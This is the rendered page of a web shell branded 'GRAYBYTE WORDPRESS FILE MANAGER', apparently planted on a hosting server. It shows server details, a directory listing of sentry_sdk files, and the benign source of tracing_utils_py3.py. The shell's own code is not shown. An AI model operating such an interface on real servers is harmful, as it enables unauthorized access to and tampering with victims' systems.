✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.104
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /opt/cloudlinux/venv/lib/python3.11/site-packages/sentry_sdk//tracing_utils_py3.py
import inspect
from functools import wraps

import sentry_sdk
from sentry_sdk import get_current_span
from sentry_sdk._types import TYPE_CHECKING
from sentry_sdk.consts import OP
from sentry_sdk.utils import logger, qualname_from_function


if TYPE_CHECKING:
    from typing import Any


def start_child_span_decorator(func):
    # type: (Any) -> Any
    """
    Decorator to add child spans for functions.

    This is the Python 3 compatible version of the decorator.
    For Python 2 there is duplicated code here: ``sentry_sdk.tracing_utils_python2.start_child_span_decorator()``.

    See also ``sentry_sdk.tracing.trace()``.
    """

    # Asynchronous case
    if inspect.iscoroutinefunction(func):

        @wraps(func)
        async def func_with_tracing(*args, **kwargs):
            # type: (*Any, **Any) -> Any

            span = get_current_span(sentry_sdk.Hub.current)

            if span is None:
                logger.warning(
                    "Can not create a child span for %s. "
                    "Please start a Sentry transaction before calling this function.",
                    qualname_from_function(func),
                )
                return await func(*args, **kwargs)

            with span.start_child(
                op=OP.FUNCTION,
                description=qualname_from_function(func),
            ):
                return await func(*args, **kwargs)

    # Synchronous case
    else:

        @wraps(func)
        def func_with_tracing(*args, **kwargs):
            # type: (*Any, **Any) -> Any

            span = get_current_span(sentry_sdk.Hub.current)

            if span is None:
                logger.warning(
                    "Can not create a child span for %s. "
                    "Please start a Sentry transaction before calling this function.",
                    qualname_from_function(func),
                )
                return func(*args, **kwargs)

            with span.start_child(
                op=OP.FUNCTION,
                description=qualname_from_function(func),
            ):
                return func(*args, **kwargs)

    return func_with_tracing


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
8 Jul 2026 7.02 AM
root / root
0755
__pycache__
--
11 Feb 2026 8.17 AM
root / root
0755
crons
--
11 Feb 2026 8.04 AM
root / root
0755
integrations
--
11 Feb 2026 8.04 AM
root / root
0755
__init__.py
1.031 KB
20 Jan 2026 1.01 PM
root / root
0644
_compat.py
2.729 KB
20 Jan 2026 1.01 PM
root / root
0644
_functools.py
4.841 KB
20 Jan 2026 1.01 PM
root / root
0644
_lru_cache.py
5.264 KB
20 Jan 2026 1.01 PM
root / root
0644
_queue.py
11.003 KB
20 Jan 2026 1.01 PM
root / root
0644
_types.py
2.194 KB
20 Jan 2026 1.01 PM
root / root
0644
_werkzeug.py
3.701 KB
20 Jan 2026 1.01 PM
root / root
0644
api.py
6.047 KB
20 Jan 2026 1.01 PM
root / root
0644
attachments.py
1.769 KB
20 Jan 2026 1.01 PM
root / root
0644
client.py
22.354 KB
20 Jan 2026 1.01 PM
root / root
0644
consts.py
8.493 KB
20 Jan 2026 1.01 PM
root / root
0644
debug.py
1.105 KB
20 Jan 2026 1.01 PM
root / root
0644
envelope.py
9.366 KB
20 Jan 2026 1.01 PM
root / root
0644
hub.py
26.416 KB
20 Jan 2026 1.01 PM
root / root
0644
monitor.py
2.966 KB
20 Jan 2026 1.01 PM
root / root
0644
profiler.py
33.182 KB
20 Jan 2026 1.01 PM
root / root
0644
py.typed
0 KB
20 Jan 2026 1.01 PM
root / root
0644
scope.py
24.262 KB
20 Jan 2026 1.01 PM
root / root
0644
scrubber.py
3.802 KB
20 Jan 2026 1.01 PM
root / root
0644
serializer.py
12.974 KB
20 Jan 2026 1.01 PM
root / root
0644
session.py
5.431 KB
20 Jan 2026 1.01 PM
root / root
0644
sessions.py
5.762 KB
20 Jan 2026 1.01 PM
root / root
0644
tracing.py
29.042 KB
20 Jan 2026 1.01 PM
root / root
0644
tracing_utils.py
11.999 KB
20 Jan 2026 1.01 PM
root / root
0644
tracing_utils_py2.py
1.215 KB
20 Jan 2026 1.01 PM
root / root
0644
tracing_utils_py3.py
2.096 KB
20 Jan 2026 1.01 PM
root / root
0644
transport.py
18.135 KB
20 Jan 2026 1.01 PM
root / root
0644
utils.py
45.582 KB
20 Jan 2026 1.01 PM
root / root
0644
worker.py
4.154 KB
20 Jan 2026 1.01 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF